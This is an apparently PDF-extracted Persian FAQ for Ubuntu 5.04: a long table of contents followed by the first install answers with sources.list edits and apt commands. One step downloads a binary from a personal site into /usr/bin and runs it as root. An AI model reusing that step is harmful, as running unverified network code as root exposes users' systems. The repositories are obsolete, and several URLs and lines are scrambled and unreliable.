   را نصب کنم ؟Lime Wire(P Gnutella 2P(نه بسته نرم افزاری ارتباط با چگو .١٠
   را نصب کنم ؟Skypeچگونه بسته نرم افزاری برنامه پيغام رسان  .١١
  را نصب کنم ؟ Winpopup) LinPopUp(چگونه بسته نرم افزاری برنامه  .١٢
  را نصب کنم ؟) Multimedia Codecs( های مختلف محيط چند رسانه ای Codecچگونه  .١٣
   را نصب کنم ؟DVDچگونه بسته نرم افزاری قابليت نمایش  .١٤
  چند رسانه ای را نصب کنم ؟ برای پخش فایلهای ui-Xineچگونه بسته نرم افزاری  .١٥
   را نصب کنم ؟Mozilla Firefox مناسب برای in-Plug به همراه Mplayerچگونه بسته نرم افزاری  .١٦
   را برای پخش فایلهای چند رسانه ای نصب کنم ؟XMMSچگونه بسته نرم افزاری  .١٧
   را برای پخش فایلهای چند رسانه ای نصب کنم ؟RealPlayerچگونه بسته نرم افزاری  .١٨
   نصب کنم ؟Stream Directory Browser را برای راه اندازی قابليت streamtunerچگونه بسته نرم افزاری  .١٩
   نصب کنم ؟Tag Editor3ID  را برای راه اندازی قابليت Easy TAGه بسته نرم افزاری چگون .٢٠
   برای انجام تغييرات در فایلهای ویدئویی را نصب کنم ؟Kinoچگونه بسته نرم افزاری  .٢١
  تغييرات در فایلهای صوتی را نصب کنم ؟ برای انجام Audacityچگونه بسته نرم افزاری  .٢٢
   را نصب کنم ؟DVD برای دریافت و تبدیل فایلهای صوتی از DVD Ripper به عنوان rip::dvdچگونه بسته نرم افزاری  .٢٣
   را نصب کنم ؟CDفت و تبدیل فایلهای صوتی از  برای دریاCD Ripper به عنوان Gooboxچگونه بسته نرم افزاری  .٢٤
   را نصب کنم ؟Mozilla Thunderbirdچگونه بسته نرم افزاری برنامه ایميل خوان  .٢٥
   را نصب کنم ؟Pan News Readerچگونه بسته نرم افزاری برنامه اخبار خوان  .٢٦
   را نصب کنم ؟RSSOwl و اخبار خوان Atom/RDF/RSSچگونه بسته نرم افزاری برنامه  .٢٧
   را نصب کنم ؟NVUچگونه بسته نرم افزاری برنامه طراحی صفحات وب  .٢٨
   را نصب کنم ؟nerPlanچگونه بسته نرم افزاری برنامه مدیریت پروژه  .٢٩
   را نصب کنم ؟GnuCashچگونه بسته نرم افزاری برنامه حسابداری شخصی  .٣٠
   را نصب کنم ؟Scribusچگونه بسته نرم افزاری برنامه ویرایش محيط کاربری  .٣١
   را نصب کنم ؟Diaی برنامه ویرایش دیاگرام چگونه بسته نرم افزار .٣٢
  را نصب کنم ؟ chmبا پسوند  htmlبرای دیدن و اجرای فایلهای مستندات  xCHMچگونه بسته نرم افزاری  .٣٣
   ؟ را نصب کنمGnomeBacker نویس DVD/CDچگونه بسته نرم افزاری برنامه  .٣٤
   را برای اتصال به اینترنت از طریق مودم را نصب کنم ؟ppp-Gnomeچگونه بسته نرم افزاری  .٣٥
   را نصب کنم ؟PPPoE-RP(PPPoE /ADSL(چگونه بسته نرم افزاری برنامه ارتباط با اینترنت از طریق  .٣٦
   را نصب کنم ؟BUMچگونه بسته نرم افزاری برنامه مدیریت بالا آمدن سيستم  .٣٧
   را نصب کنم ؟Gpartedچگونه بسته نرم افزاری برنامه مدیریت پارتيشن ها  .٣٨
   را نصب کنم ؟Firestarter چگونه بسته نرم افزاری برنامه مدیریت دیواره آتش .٣٩
   را نصب کنم ؟Nessusچگونه بسته نرم افزاری برنامه مدیریت امنيتی سيستم  .٤٠
   را نصب کنم ؟RARچگونه بسته نرم افزاری برنامه باز کردن فایلهای فشرده  .٤١
  ه فونتهای تکميلی سيستم را نصب کنم ؟چگون .٤٢
   را نصب کنم ؟Chinese Input Method برای اضافه شدن قابليت SCIMچگونه بسته نرم افزاری برنامه  .٤٣
   را نصب کنم ؟Desktop Appletsنامه در  برای استفاده از قابليتهای این برgDeskletsچگونه بسته نرم افزاری برنامه  .٤٤
   را نصب کنم ؟Bubble-Frozenچگونه بازی  .٤٥
   را نصب کنم ؟essential-build های تکميلی Compilerچگونه بسته های نرم افزاری  .٤٦
   را نصب کنم ؟xFarDicونه بسته نرم افزاری لغت نامه انگليسی به فارسی چگ .٤٧

  برنامه های تجاری

   را نصب کنم ؟٩XP/2000/ME/X ویندوز Lin4Winچگونه با کمک بسته نرم افزاری  .١
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   نرم افزاری های ویندوزی را اینجا نصب کنم ؟CrossOver Officeچگونه با کمک بسته نرم افزاری  .٢
   بازی های ویندوزی را اینجا نصب کنم ؟Cedegaچگونه با کمک بسته نرم افزاری  .٣

  نمديريت کاربرا

   را تغيير داده یا فعال کنم ؟rootچگونه کلمه رمز کاربر  .١
   را غير فعال کنم ؟rootچگونه کاربر  .٢
   وارد شوم ؟GNOMEحيط کاربری  به مrootچگونه ميتوانم با کاربر  .٣
   سوئيچ کنم ؟rootچگونه در محيط ترمينال به کاربر  .٤
  کم و یا تغيير دهم ؟/چگونه کاربران سيستم را اضافه .٥
  کم و یا تغيير دهم ؟/گونه گروه های کاربری سيستم را اضافهچ .٦
  )این کار امن نيست( وارد شوم ؟ GNOMEچگونه به صورت اتوماتيک به محيط کاربری  .٧
   بيشتر کنم ؟ کنند راsudoچگونه تعداد کاربرانی که ميتوانند  .٨
  )این کار امن نيست( را بدون نياز به کلمه رمز فعال کنم ؟ sudoچگونه فرمان  .٩
   را حذف کنم ؟sudo sessionچگونه یک  .١٠
  چگونه مجوزهای دسترسی به فایلها یا پوشه ها را تغيير دهم ؟ .١١
  چگونه کاربران دارای مجوز دسترسی به فایلها و پوشه ها را تغيير دهم ؟ .١٢
   های کاربری دارای مجوز دسترسی به فایلها و پوشه ها را تغيير دهم ؟چگونه گروه .١٣

  سخت افزار

   را نصب کنم ؟NVIDIAچگونه درایور کارتهای گرافيکی  .١
   غير فعال کنم ؟GNOMEرا زمان ورود به  NVIDIAچگونه لوگوی  .٢
   مودم را تشخيص دهم ؟chipsetچگونه نوع  .٣
   را نصب کنم ؟SmartLinkچگونه درایور مودم  .٤
   را نصب کنم ؟PalmOSستگاه جانبی چگونه د .٥
  چگونه ليستی از پارتيشن ها بگيرم ؟ .٦
  چگونه گزارشی از فضای استفاده شده هارد دیسک و مقدار فضای خالی آن بگيرم ؟ .٧
   شده را ببينم ؟mountچگونه ليست فضاهای  .٨
   را ببينم ؟PCIچگونه ليست درگاه های  .٩
   را ببينم ؟USBچگونه ليست درگاه های  .١٠
   را بالا ببرم ؟ROM-DVD/CDچگونه سرعت  .١١
ا را                     unmount/mount را به صورت دستی        ROM-DVD/CDه  چگون .١٢ ا و پوشه های عادی و مخفی آنه ه فایله نم و کلي  ک

  ببينم ؟
   کنم ؟unmount را ROM-DVD/CDچگونه به اجبار  .١٣
   کنم ؟mountرا بدون نياز به راه اندازی مجدد سيستم، دوباره / fstab/etcچگونه  .١٤

  DVD/CDنوشتن روی 

  را پاک کنم ؟ RW-DVD/RW-CDچگونه یک  .١
  بنویسم ؟ DVD/CDچگونه فایلها یا پوشه هایی را روی  .٢
  بنویسم ؟ DVD/CDرا روی یک  Image) ISO(چگونه فایلهای  .٣
  بنویسم ؟ DVD/CDچگونه چند بار از روی یک  .٤
  بسازم ؟  ISO(Image(فایل  DVD/CDچگونه از محتویات یک  .٥
  بسازم ؟  ISO(Image(چگونه از محتویات یک پوشه فایل  .٦
  یک فایل را در فایل دیگری ذخيره کنم ؟ 5MDچگونه اندازه  .٧
  یک فایل را چک کنم ؟ 5MDچگونه اندازه  .٨
  ت آنرا ببينم ؟کنم و محتویا mountرا   ISO(Image(یک فایل  DVD/CDچگونه بدون نوشتن بر روی  .٩
  نویس را تنظيم یا تغيير دهم ؟ DVD/CDچگونه سرعت نوشتن دستگاه  .١٠
  نویس فعال کنم ؟ DVD/CDرا برای دستگاه  burnproofچگونه  .١١
  نویس فعال کنم ؟ DVD/CDرا برای  overburnچگونه  .١٢
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  شبکه

  چگونه اتصالات شبکه را فعال و غيرفعال کنم ؟ .١
  چگونه اتصالات شبکه را پيکربندی کنم ؟ .٢
  چگونه اتصال به اینترنت از طریق مودم و خط تلفن را پيکربندی کنم ؟ .٣
  چگونه اتصال به اینترنت با پهنای باند زیاد را پيکربندی کنم ؟ .٤
  چگونه اسم کامپيوتر را عوض کنم ؟ .٥
   را عوض کنم ؟Computer Descriptionچگونه  .٦
   سيستم را عوض کنم ؟Workgroup/Domainچگونه اسم  .٧
   دهم ؟IP ، اسم کامپيوتر را عوض کرده و به صورت متغير به آن DynDNSچگونه با کمک سرویس رایگان  .٨
  چگونه با یک روش آسان پوشه هایی را در سيستم خود به اشتراک بگذارم ؟ .٩
  چگونه سيستم های موجود در شبکه را ببينم و وارد پوشه های به اشتراک گذاشته شده آنها شوم ؟ .١٠
   کردن به پوشه های به اشتراک گذاشته شده شبکه ای دسترسی داشته باشم ؟mountچگونه بدون  .١١
 کنم و به همه کاربران اجازه فقط        unmount/mountچگونه پوشه های به اشتراک گذاشته شده شبکه ای را به صورت دستی               .١٢

  خواندن دهم ؟
ه صورت دستی          چگونه پوشه های به اشتراک گذاشته شده شبکه           .١٣ اربران اجازه            unmount/mount ای را ب ه ک ه هم نم و ب  ک

  خواندن و نوشتن دهم ؟
ط       mountچگونه پوشه های به اشتراک گذاشته شده شبکه ای را در زمان راه اندازی سيستم            .١٤ اربران اجازه فق ه ک ه هم نم و ب  ک

  خواندن دهم ؟
ستم  .١٥ دازی سي ان راه ان بکه ای را در زم ده ش ته ش ه اشتراک گذاش ای ب ه پوشه ه ازه mountچگون اربران اج ه ک ه هم نم و ب  ک

  خواندن و نوشتن دهم ؟

  )Remote Desktop(دسترسی به سيستم از راه دور

  )این کار امن نيست(چگونه دسترسی به سيستم از راه دور را پيکر بندی کنيم ؟  .١
  چگونه به یک سيستم از راه دور وصل شویم ؟ .٢
   وصل شویم ؟tuUbunچگونه از طریق ویندوز به یک سيستم  .٣

  ويندوز

ا فرمت  .١ دوزی ب ای وین شن ه ه صورت دستی پارتي ه ب ستم unmount/mount را NTFSچگون اربران سي ه ک ه کلي يم و ب  کن
  اجازه فقط خواندن دهيم ؟

ستم اجازه           unmount/mount را   FATبه صورت دستی پارتيشن های ویندوزی با فرمت         چگونه   .٢ اربران سي  کنيم و به کليه ک
  خواندن و نوشتن دهيم ؟

ستم         mount را در زمان راه اندازی سيستم        NTFSچگونه پارتيشن های ویندوزی با فرمت        .٣ اربران سي ه ک  اجازه   کنيم و به کلي
  فقط خواندن دهيم ؟

ستم    FATچگونه پارتيشن های ویندوزی با فرمت       .٤ دازی سي ان راه ان ستم اجازه       mount را در زم اربران سي ه ک ه کلي يم و ب  کن
  خواندن و نوشتن دهيم ؟

  امنيت

   باید بدانم چيست ؟Ubuntuنکات ضروری که من راجع به ایمن نگاه داشتن یک سيستم  .١
   را غير فعال کنم ؟GRUBچگونه کليه قسمتهای کنترلی قابل ویرایش منوی  .٢
  چگونه ليست گرفتن از فرمانهای اجرا شده قبلی را در کنسول غير فعال کنم ؟ .٣
  شود ؟) reboot( در کنسول، سيستم دوباره راه اندازی Del+Alt+Ctrlگونه اجاره ندهم با فشار دادن کليدهای چ .٤
  چگونه گزینه اخطار قبل از پاک کردن یا دوباره نوشته شدن روی فایلها یا پوشه ها را فعال کنم ؟ .٥

  حالت نجات

   را بدون وارد شدن به سيستم داشته باشم ؟rootرسی کاربر چگونه حق دست .١
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   را داشته باشم ؟root را تغيير دهم تا سطح دسترسی کاربر bootup-Kernelچگونه آرگومانهای  .٢
   استفاده کنم ؟Ubuntu نصب CDز  اrootچگونه برای داشتن سطح دسترسی  .٣
   را در صورت فراموشی تغيير دهم ؟rootچگونه کلمه رمز کاربر  .٤
   را در صورت فراموشی عوض کنم ؟GRUBچگونه کلمه رمز منوی  .٥
   را برگردانم ؟GRUB روی همان سيستم ویندوز نصب کردم، چگونه مجددا منوی Ubuntuدر صورتی که پس از نصب  .٦
   اضافه کنم ؟GRUBچگونه ویندوز را به منوی  .٧
   را در ویندوز ببينم ؟3ext/2extچگونه پارتيشن های لينوکسی با فرمت  .٨

  نکات و ترفندها

   به صورت اتوماتيک روشن داشته باشم ؟GNOME را در زمان شروع NumLockچگونه  .١
  ، مجددا راه اندازی کنم ؟) reboot( را بدون نياز به راه اندازی مجدد کل سيستم GNOMEچگونه محيط کاربری  .٢
   اجرا شوند ؟GNOMEچگونه برخی برنامه ها را تنظيم کنم تا در زمان ورود به  .٣
   به محيط ترمينال سوئيچ کنم ؟GNOMEچگونه از محيط کاربری  .٤
   غير فعال کنم ؟Window-X را برای راه اندازی مجدد محيط Backspace+Alt+Ctrlچگونه اجرای  .٥
  ببينم ؟ GNOMEسيستم مانيتور را در محيط کاربری  Del+Alt+Ctrlچگونه با فشردن کليدهای  .٦
   کنم ؟refresh را GNOMEچگونه محيط کاربری  .٧
   کنم ؟reshref را GNOME Panelچگونه  .٨
   باز کنم ؟Nautilusچگونه هر پوشه را در همان پنجره جاری خودش در محيط  .٩
   ببينم ؟Nautilusچگونه کليه فایلها و پوشه های مخفی را در محيط  .١٠
   ببينم ؟root با سطح دسترسی کاربر Nautilusچگونه کليه فایلها و پوشه ها را در محيط  .١١
   را روی صفحه نمایش ببينم ؟Trash, Home, Computerچگونه آیکونهای مخفی  .١٢
  چگونه برنامه ای که باید فایلهای مختلف را اجرا کند عوض کنم ؟ .١٣
   کنم ؟Mozilla Thunderbirdچگونه برنامه ایميل خوان اصلی سيستم را  .١٤
   از طریق راست کليک باز کنم ؟rootچگونه فایلها را با سطح دسترسی کاربر  .١٥
  چگونه صدای بوق را در حالت ترمينال غير فعال کنم ؟ .١٦
   سریعتر باز کنم ؟efoxMozilla Firچگونه صفحات وب را در  .١٧
   در زمان پيدا کردن لينک غير فعال کنم ؟Mozilla Firefoxچگونه صدای بوق را در  .١٨
   را برگردانم ؟Mozilla Firefoxچگونه آیکونهای اصلی  .١٩
   را برگردانم ؟Mozilla Thunderbirdچگونه آیکونهای اصلی  .٢٠
   کنم ؟get-apt ساده تر Synapticچگونه با کمک  .٢١
   کنم ؟را نصب یا حذف. debچگونه فایلهای  .٢٢
   تبدیل کنم ؟deb را به rpmچگونه فایلهای  .٢٣
  چگونه فایلهای یک پوشه را با هم تغيير نام دهم ؟ .٢٤
   کنم ؟Manipulateچگونه کليه فایلهای عکس موجود در یک پوشه را  .٢٥
   را تنظيم کنم ؟wide Environment Variables-Systemچگونه متغير های  .٢٦
   را در یک فایل ذخيره کنم ؟manچگونه خروجی های دستور  .٢٧
  ر زمان راه اندازی سيستم مخفی کنم ؟ را دGRUBچگونه منوی  .٢٨
  چگونه زمانی را که در موقع راه اندازی سيستم شمرده ميشود تغيير دهم ؟ .٢٩
   سيستم عامل اوليه را مشخص کنم ؟GRUBچگونه در منوی  .٣٠
   نشان داده شود ؟GRUB در زمان راه اندازی سيستم برای منوی splashچگونه یک تصویر  .٣١
   تبدیل کنم ؟GRUB برای منوی splashچگونه یک کاغذدیواری را به تصویر  .٣٢
  چگونه موقتا برخی از سرویسهای زمان بالا آمدن سيستم را حذف کنم ؟ .٣٣
  چگونه به صورت دائم برخی از سرویسهای زمان بالا آمدن سيستم را حذف کنم ؟  .٣٤
  در زمان خاموش شدن سيستم به طور اتوماتيک پاک شوند ؟/ tmpچگونه محتویات پوشه  .٣٥
  خروجی های قبلی را ببينم ؟ consoleچگونه در حالت  .٣٦

  سرويس ضدويروس

   را نصب کنم ؟ClamAVچگونه سرویس دهنده ضد ویروس  .١
  چگونه به صورت دستی ضد ویروس نصب شده را روزآمد نمایم ؟ .٢
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   نمایم ؟چگونه به صورت دستی فایلها و یا پوشه های خاصی را اسکن ویروسی .٣
  چگونه به صورت اتوماتيک فایلها و یا پوشه های خاصی را اسکن ویروسی نمایم ؟ .٤

  Sambaسرويس دهنده 

  راک گذاری پوشه ها و فایلها راه اندازی کنم ؟ را برای به اشتSambaچگونه سرویس دهنده  .١
  چگونه کاربرانی برای شبکه اضافه یا حذف کنم ؟ .٢
رای س       .٣ دن ب ط خوان ه اشتراک بگذارم ؟     چگونه پوشه های خانگی و شخصی هر کاربر را با مجوز فق اربران ب اربران  (ایر ک ک

  )مجاز ميتوانند وارد شوند
ذارم ؟          .٤ تراک بگ ه اش اربران ب ایر ک رای س تن ب دن و نوش ا مجوزخوان اربر را ب ر ک صی ه انگی و شخ ای خ ه ه ه پوش چگون

  )کاربران مجاز ميتوانند وارد شوند(
ه اشتراک بگذارم ؟                                 .٥ اربران ب ایر ک رای س دن ب ط خوان ا مجوز فق روه را ب چگونه پوشه های خانگی و شخصی کاربران یک گ

  )کاربران مجاز ميتوانند وارد شوند(
ه اشتراک بگذارم                .٦ اربران ب چگونه پوشه های خانگی و شخصی کاربران یک گروه را با مجوز خواندن و نوشتن برای سایر ک

  )کاربران مجاز ميتوانند وارد شوند(؟ 
   )کاربران مجاز ميتوانند وارد شوند (چگونه پوشه های عمومی با مجوز فقط خواندن به اشتراک بگذارم ؟ .٧
  )کاربران مجاز ميتوانند وارد شوند(چگونه پوشه های عمومی با مجوز خواندن و نوشتن به اشتراک بگذارم ؟  .٨
  )هر کاربری ميتواند وارد شوند(نه پوشه های عمومی با مجوز فقط خواندن به اشتراک بگذارم ؟ چگو .٩
  )هر کاربری ميتواند وارد شوند(چگونه پوشه های عمومی با مجوز خواندن و نوشتن به اشتراک بگذارم ؟  .١٠

  SSHسرويس 

   را بر روی یک ماشين برای دسترسی از راه دور نصب کنم ؟SSHچگونه سرویس  .١
   کنم ؟SSH ميتوانم Ubuntuچگونه به یک ماشين راه دور  .٢
  )scp( از راه دور وصل شوم و فایلها یا پوشه هایی را از آن به ماشين محلی کپی کنم ؟ Ubuntuیک ماشين چگونه به  .٣
  )scp( کپی کنم ؟ Ubuntuچگونه فایلها یا پوشه هایی را از یک ماشين محلی به یک ماشين راه دور  .٤
  )rsync( از راه دور وصل شوم و فایلها یا پوشه هایی را از آن به ماشين محلی کپی کنم ؟ Ubuntuچگونه به یک ماشين  .٥
  )rsync( کپی کنم ؟ Ubuntuچگونه فایلها یا پوشه هایی را از یک ماشين محلی به یک ماشين راه دور  .٦
   کنم ؟SSH از راه دور Ubuntuچگونه از یک ماشين ویندوزی به یک ماشين  .٧
   کپی کنم ؟Ubuntuچگونه از یک ماشين ویندوزی فایلها یا پوشه هایی را در یک ماشين راه دور  .٨

  DHCPسرويس 

   به سایر سيستم های شبکه راه اندازی کنم ؟IP جهت اختصاص DHCPچگونه یک سرویس دهنده  .١

  سرويس بانک اطلاعات

  ا نصب کنم ؟ رMySQLچگونه سرویس دهنده بانک اطلاعات  .١
   را نصب کنم ؟MySQL Control Centerچگونه  .٢

  Apacheسرويس دهنده وب 

   نصب کنم ؟ را جهت ارائه سرویس وبApacheچگونه سرویس دهنده وب  .١
   را نصب کنم ؟PHP بسته Apacheچگونه برای سرویس دهنده وب  .٢
   را نصب کنم ؟MySQL بانک اطلاعات Apacheچگونه برای سرویس دهنده وب  .٣
  آدرس دهی کنم ؟/ www/var ها را به پوشه هایی غير از مسير URLچگونه  .٤
   را تغيير دهم ؟Apacheاصلی سرویس دهنده وب ) port(چگونه درگاه  .٥
   راه اندازی کنم ؟Apacheوب  را برای سرویس دهنده PHP در RSSچگونه  .٦

  FTPسرويس دهنده 
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   را نصب کنم ؟FTPچگونه جهت راه اندازی سرویس انتقال فایل، سرویس دهنده  .١
  به استفاده از پوشه خانگی خودش کنم ؟ را محدود FTPچگونه کاربر مجاز  .٢
  مجوز فقط خواندن داشته باشد ؟) anonymous( را بگونه ای پيکربندی کنم که کاربر ميهمان FTPچگونه سرویس  .٣
  مجوز خواندن و نوشتن داشته باشد ؟) anonymous(ونه ای پيکربندی کنم که کاربر ميهمان  را بگFTPچگونه سرویس  .٤
  هدایت کنم ؟/ ftp/home را به پوشه ای غير از FTPچگونه کاربران ميهمان  .٥
   را تغيير دهم ؟FTPوليه سرویس دهنده ا) port(چگونه درگاه  .٦
   کنم ؟FTP ميتوانم Ubuntuچگونه از طریق یک ماشين ویندوزی به یک ماشين راه دور  .٧

  Streaming Mediaسرويس دهنده 

   راه اندازی کنم ؟Streaming Media را جهت ارائه سرویس d3GNUMPچگونه بسته نرم افزاری  .١
   ميباشد را تغيير دهم ؟d3GNUMPچگونه پوشه اصلی که حاوی فایلهای چند رسانه ای برای  .٢
   را تغيير دهم ؟d3GNUMPاوليه ) port(چگونه درگاه  .٣

  سرويس دهنده گالری عکس

  برای راه اندازی سرویس گالری عکس را نصب کنم ؟ galleryچگونه بسته نرم افزاری  .١
  ثابت قابل دیدن باشد ؟ IPچگونه این سرویس را پيکربندی کنم تا از طریق اینترنت یا شبکه محلی با آدرس  .٢
  ن باشد ؟متغير قابل دید IPچگونه این سرویس را پيکربندی کنم تا از طریق شبکه محلی با آدرس  .٣
  چگونه از فایلهای این سرویس پشتيبان بگيرم و در مواقع ضروری برگردانم ؟ .٤

  عيب يابی

  ) شدن طول ميکشدزمان زیادی برای لود... (پيکربندی شبکه .١
  )زمان زیادی برای لود شدن طول ميکشد ... (org.ubuntulinux.ntpتنظيم ساعت سيستم از روی  .٢
   را غير فعال کنم ؟ GMT(UTC(چگونه تنظيم شدن ساعت سيستم از روی  .٣
   پيکربندی کنم ؟GNOMEچگونه صدای سيستم را برای کار به صورت بهينه در  .٤
   پاک کنم ؟GNOMEچگونه به اجبار سطل آشغال را در  .٥
   را حذف کنم ؟GNOMEمنو دوبله شده در / های منوچگونه آیتم .٦
   کنم ؟refresh ميتوانم GNOME را در Places Menuچگونه  .٧

  Ubuntuارتقا دادن 

  )آزمایشی( ارتقا پيدا کنم ؟ Breezy Badger به hogHoary Hedgeچگونه از  .١

  
  

  شروع
  

Ubuntuچيست ؟   

١. ubuntu/org.ubuntulinux.www://http  

   را ببينم ؟Ubuntuکجا ميتوانم تصاویری از محيط 

١. 305=release?php.slideshow/slideshows/com.osdir.shots://http&1=slide  
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   نصب ميشوند را ببينم ؟Ubuntuکجا ميتوانم نام بسته های نرم افزاری که همراه 

  . ميتوانيد ببينيداینجا را ضمنا یک نسخه از ليست بسته ها.  ببينيدdpkg -lجواب این سوال را ميتوانيد با اجرای فرمان  .١
٢. hoary/com.ubuntu.packages://http  
٣. ubuntu=distribution?php.etabl/com.distrowatch://http  

CD های Ubuntuرا از کجا دریافت کنم ؟   

١. download/org.ubuntulinux.www://http  

   را بصورت رایگان سفارش دهم ؟Ubuntu های CDکجا ميتوانم 

١. org.ubuntulinux.shipit://http  
جهت سفارش با آدرس ایميل من . ها جهت عرضه به کاربران در تهران موجود است CDدر حال حاضر تعدادی از این  .٢

  .مکاتبه کنيد

   بگردم ؟Ubuntuکجا باید دنبال مستندات و راهنماهای 

، با تشکر از آقای آلن باغوميان مدیر محترم سایت تالارهای گفتگو و پرسش و پاسخ فارسی .١
com.technotux.www://httpرده اند که امکان استفاده از این تالارها را برای کاربران فارسی زبان فراهم ک.  

٢. Mailing Lists  
٣. Web Forums  
٤. IRC Channel  

  
  

  Ubuntuدريافت اين راهنمای 

  

   را به صورت کامل دریافت کنم ؟Ubuntuمای چگونه این راهن

  . را مطالعه نمایيدنکات عمومی .١
2. wget -c http://ubuntuguide.org/ubuntu5.04.tar.gz 
3. tar -zxvf ubuntu5.04.tar.gz 

 
  

  )Repositories(مخازن اصلی دريافت بسته های نرم افزاری 

  

   را اضافه کنم ؟Ubuntuچگونه مخازن اضافی برای دریافت بسته های نرم افزاری تکميلی 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup 

sudo gedit /etc/apt/sources.list 
  را پيدا کنيد خط فرمانهای زیر .٣

... 
## Uncomment the following two lines to fetch updated software from the network 
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# deb http://us.archive.ubuntu.com/ubuntu hoary main restricted 
# deb-src http://us.archive.ubuntu.com/ubuntu hoary main restricted 
 
## Uncomment the following two lines to fetch major bug fix updates produced 
## after the final release of the distribution. 
# deb http://us.archive.ubuntu.com/ubuntu hoary-updates main restricted 
# deb-src http://us.archive.ubuntu.com/ubuntu hoary-updates main restricted 
 
## Uncomment the following two lines to add software from the 'universe' 
## repository. 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu 
## team, and may not be under a free licence. Please satisfy yourself as to 
## your rights to use the software. Also, please note that software in 
## universe WILL NOT receive any review or updates from the Ubuntu security 
## team. 
# deb http://us.archive.ubuntu.com/ubuntu hoary universe 
# deb-src http://us.archive.ubuntu.com/ubuntu hoary universe 
 
# deb http://security.ubuntu.com/ubuntu hoary-security main restricted 
# deb-src http://security.ubuntu.com/ubuntu hoary-security main restricted 
 
# deb http://security.ubuntu.com/ubuntu hoary-security universe 
# deb-src http://security.ubuntu.com/ubuntu hoary-security universe 

  .این خط فرمانها را به جای خط فرمانهای بالا بنویسيد .٤

## Uncomment the following two lines to fetch updated software from the network 
deb http://us.archive.ubuntu.com/ubuntu hoary main restricted 
deb-src http://us.archive.ubuntu.com/ubuntu hoary main restricted 
 
## Uncomment the following two lines to fetch major bug fix updates produced 
## after the final release of the distribution. 
deb http://us.archive.ubuntu.com/ubuntu hoary-updates main restricted 
deb-src http://us.archive.ubuntu.com/ubuntu hoary-updates main restricted 
 
## Uncomment the following two lines to add software from the 'universe' 
## repository. 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu 
## team, and may not be under a free licence. Please satisfy yourself as to 
## your rights to use the software. Also, please note that software in 
## universe WILL NOT receive any review or updates from the Ubuntu security 
## team. 
deb http://us.archive.ubuntu.com/ubuntu hoary universe 
deb-src http://us.archive.ubuntu.com/ubuntu hoary universe 
 
deb http://security.ubuntu.com/ubuntu hoary-security main restricted 
deb-src http://security.ubuntu.com/ubuntu hoary-security main restricted 
 
deb http://security.ubuntu.com/ubuntu hoary-security universe 
deb-src http://security.ubuntu.com/ubuntu hoary-security universe 
 
deb http://archive.ubuntu.com/ubuntu hoary multiverse 
deb-src http://archive.ubuntu.com/ubuntu hoary multiverse 
 
## Backports 
deb http://ubuntu-backports.mirrormax.net/ hoary-backports main universe multiverse restricted 
deb http://ubuntu-backports.mirrormax.net/ hoary-extras main universe multiverse restricted 

 )یک نمونه از فایل ویرایش شده (نمایيدفایل را پس از ویرایش ذخيره  .٥
6. sudo apt-get update 

 چگونه از مخازن دریافت شده نسخه پشتيبان تهيه کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
  برای تهيه نسخه پشتيبان از مخازن دریافت شده از اینترنت  .٢

sudo tar zcvf apt.tgz /etc/apt/ /var/lib/apt/ /var/cache/apt/ 

 برای برگرداندن این مخازن  .٣
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sudo tar zxvf apt.tgz -C / 

 
  

  Ubuntuبروزآوری های 

  

   را روزآمد نمایم ؟Ubuntuنه به صورت دستی چگو

  ..نمایيد را مطالعه نکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get update 
sudo apt-get upgrade 

 
  

  بسته ها و نرم افزارهای تکميلی

  

   نصب کنم؟GNOME جهت ویرایش منوها را برای Menu Editorچگونه برنامه 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install smeg 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <System Tools - <Smeg Menu Editor  

   نصب کنم ؟GNOME را برای Clipboard daemonچگونه برنامه 

  . را مطالعه نمایيدنکات عمومی .١
2. wget -c http://frankandjacq.com/ubuntuguide/gnome-clipboard-daemon-1.0.bin.tar.bz2 
3. sudo tar jxvf gnome-clipboard-daemon-1.0.bin.tar.bz2 -C /usr/bin/ 
4. sudo chown root:root /usr/bin/gnome-clipboard-daemon 
5. sudo chmod 755 /usr/bin/gnome-clipboard-daemon 
6. sudo gnome-clipboard-daemon & 

٧. System - <Preferences - <Sessions 
٨. Sessions   

9. Startup Programs Tab -> Add 
10.  
11. Startup Command: gnome-clipboard-daemon 

Order: 80 

 را نصب Mozilla Firefox مناسب برای Plug-in همراه با JAVA (J2SE Runtime Environment(چگونه بسته نرم افزاری 
 کنم ؟

   . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install sun-j2re1.5 
java -version 

٤.  Mozilla Firefoxرا دوباره اجرا نمایيد  

   را نصب کنم ؟Mozilla Firefoxدر ) Marcomedia Flash( مناسب جهت نمایش فایلهای فلش Plug-inچگونه 
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   . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install flashplayer-mozilla 
٤. Mozilla Firefoxرا دوباره اجرا نمایيد . 

 را نصب کنم Mozilla Firefox مناسب برای Plug-in همراه با PDF (Adobe Reader(چگونه بسته نرم افزاری خواندن فایلهای 
  ؟

   .یيد را مطالعه نمانکات عمومی .١
   . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install acroread 
sudo apt-get install mozilla-acroread 
sudo apt-get install acroread-plugins 

  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Office - <Adobe Reader  
٦. Mozilla Firefoxرا دوباره اجرا نمایيد .  

  را نصب کنم ؟) Downloader for X(چگونه بسته نرم افزاری مدیریت دانلود 

   . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install d4x 
  . را مطالعه نمایيد کنمrefresh را GNOME Panelچگونه بخش  .٤
٥. Applications - <Internet - <Downloader for X  

   را نصب کنم ؟FTP (gFTP(چگونه بسته نرم افزاری مدیریت و ارتباط با سرویس دهنده های 

   . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install gftp 
